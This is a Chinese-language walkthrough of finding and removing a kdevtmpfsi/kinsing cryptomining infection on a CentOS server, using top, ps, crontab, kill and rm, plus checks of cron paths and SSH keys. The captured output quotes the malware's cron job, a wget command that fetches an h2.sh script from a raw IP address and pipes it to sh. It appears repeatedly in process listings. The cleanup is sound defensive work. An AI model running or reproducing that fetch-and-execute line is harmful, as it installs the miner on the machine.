查看占CPU任务名
$ top -H
top - 19:47:30 up 72 days, 4:01, 1 user, load average: 3.46, 3.17, 3.12
Threads: 357 total, 5 running, 352 sleeping, 0 stopped, 0 zombie
%Cpu(s): 98.7 us, 1.3 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 1882016 total, 69388 free, 579844 used, 1232784 buff/cache
KiB Swap: 2097148 total, 2002172 free, 94976 used. 1106516 avail Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
24665 zd 20 0 710928 265496 672 R 98.0 14.1 3088:23 kdevtmpfsi
4332 wsx 20 0 162392 2536 1600 R 0.3 0.1 0:00.02 top
18025 root 20 0 744796 14724 2060 S 0.3 0.8 7:15.89 barad_agent
1 root 20 0 43744 3492 2252 S 0.0 0.2 14:14.25 systemd
2 root 20 0 0 0 0 S 0.0 0.0 0:01.60 kthreadd
4 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 kworker/0:0H
6 root 20 0 0 0 0 S 0.0 0.0 2:20.00 ksoftirqd/0
7 root rt 0 0 0 0 S 0.0 0.0 0:00.00 migration/0
8 root 20 0 0 0 0 S 0.0 0.0 0:00.00 rcu_bh
9 root 20 0 0 0 0 R 0.0 0.0 11:28.07 rcu_sched
10 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 lru-add-drain
11 root rt 0 0 0 0 S 0.0 0.0 0:21.41 watchdog/0
13 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kdevtmpfs
14 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 netns
15 root 20 0 0 0 0 S 0.0 0.0 0:01.40 khungtaskd
16 root 0 -20 0 0 0 S 0.0 0.0 0:00.03 writeback
17 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 kintegrityd
18 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 bioset
19 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 bioset
20 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 bioset
21 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 kblockd
22 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 md
23 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 edac-poller
24 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 watchdogd
30 root 20 0 0 0 0 S 0.0 0.0 0:26.73 kswapd0
31 root 25 5 0 0 0 S 0.0 0.0 0:00.00 ksmd
32 root 39 19 0 0 0 S 0.0 0.0 0:07.05 khugepaged
33 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 crypto
查看相应的病毒文件
一般病毒都都有守护进程，你杀掉会重新启动，必须删除文件的同时，去掉可能存在的定时 任务
[wsx@VM-0-5-centos ~]$ ps -ef | grep kinsing
wsx 4572 2594 0 19:48 pts/0 00:00:00 grep --color=auto kinsing
zd 23244 1 0 8月01 ? 00:03:42 /tmp/kinsing
[wsx@VM-0-5-centos ~]$ ps -ef | grep kdevtmpfsi
wsx 4574 2594 0 19:49 pts/0 00:00:00 grep --color=auto kdevtmpfsi
zd 25128 1 97 8月01 ? 37-09:55:38 /tmp/kdevtmpfsi
查看指定用户的定时任务：
$ sudo crontab -e -u zd
* * * * * wget -q -O - http://91.3.146.118/h2.sh | sh > /dev/null 2>&1
我们可以看到有个定时任务，就是一个sh脚本
清除
把这个定时任务删除，同时杀掉上面的进程
[wsx@VM-0-5-centos ~]$ sudo kill -9 25128
[wsx@VM-0-5-centos ~]$ sudo kill -9 23244
[wsx@VM-0-5-centos ~]$ sudo rm /tmp/kinsing
[wsx@VM-0-5-centos ~]$ sudo rm /tmp/kdevtmpfsi
查看top，看有什么遗漏没有。发现还有大量未知的shell运行，进行批量删除：
[zd@VM-0-5-centos spool]$ ps -ef | grep 'http://195'
zd 729 726 0 19:25 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd 731 729 0 19:25 ? 00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd 890 889 0 19:26 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd 893 890 0 19:26 ? 00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd 1052 1051 0 19:27 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd 1054 1052 0 19:27 ? 00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd 1216 1214 0 19:28 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd 1218 1216 0 19:28 ? 00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd 1367 1366 0 19:29 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd 1370 1367 0 19:29 ? 00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd 1528 1523 0 19:30 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd 1531 1528 0 19:30 ? 00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd 1689 1688 0 19:31 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd 1692 1689 0 19:31 ? 00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd 1843 1842 0 19:32 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd 1845 1843 0 19:32 ? 00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd 2001 2000 0 19:33 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd 2004 2001 0 19:33 ? 00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd 2158 2156 0 19:34 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd 2159 2158 0 19:34 ? 00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd 2320 2318 0 19:35 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd 2324 2320 0 19:35 ? 00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd 2469 2468 0 19:36 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd 2472 2469 0 19:36 ? 00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd 2686 2685 0 19:37 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd 2688 2686 0 19:37 ? 00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd 2830 2829 0 19:38 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd 2832 2830 0 19:38 ? 00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd 2992 2991 0 19:39 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd 2994 2992 0 19:39 ? 00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd 3151 3148 0 19:40 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd 3154 3151 0 19:40 ? 00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd 3302 3301 0 19:41 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd 3304 3302 0 19:41 ? 00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd 3473 3472 0 19:42 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd 3475 3473 0 19:42 ? 00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd 3631 3629 0 19:43 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd 3633 3631 0 19:43 ? 00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd 3785 3784 0 19:44 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd 3787 3785 0 19:44 ? 00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd 3948 3947 0 19:45 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd 3950 3948 0 19:45 ? 00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd 4107 4105 0 19:46 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd 4109 4107 0 19:46 ? 00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd 4263 4262 0 19:47 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd 4265 4263 0 19:47 ? 00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd 4427 4426 0 19:48 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd 4430 4427 0 19:48 ? 00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd 4577 4576 0 19:49 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd 4579 4577 0 19:49 ? 00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd 4737 4736 0 19:50 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd 4740 4737 0 19:50 ? 00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd 4896 4894 0 19:51 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
zd 4899 4896 0 19:51 ? 00:00:00 wget -q -O - http://195.3.146.118/h2.sh
zd 7879 7445 0 20:09 pts/0 00:00:00 grep --color=auto http://195
[zd@VM-0-5-centos spool]$ ps -ef | grep 'http://195' | grep -v grep | awk '{print $2}' | xargs kill -9
检查以下是否有计划任务
/etc/cron.d/、/etc/cron.daily/、/etc/cron.deny、/etc/cron.hourly/、/etc/cron.monthly/、/etc/crontab、/etc/cron.weekly/、/var/spool/cron/、/var/spool/cron/crontabs/root、/usr/local/bin/dns、/etc/hosts、/etc/sysupdate、/tmp/xms、/var/spool/cron/root、/etc/cron.d/root、/var/spool/cron/crontabs/root
检查是否有可疑公钥
cat ~/.ssh/authorized_keys
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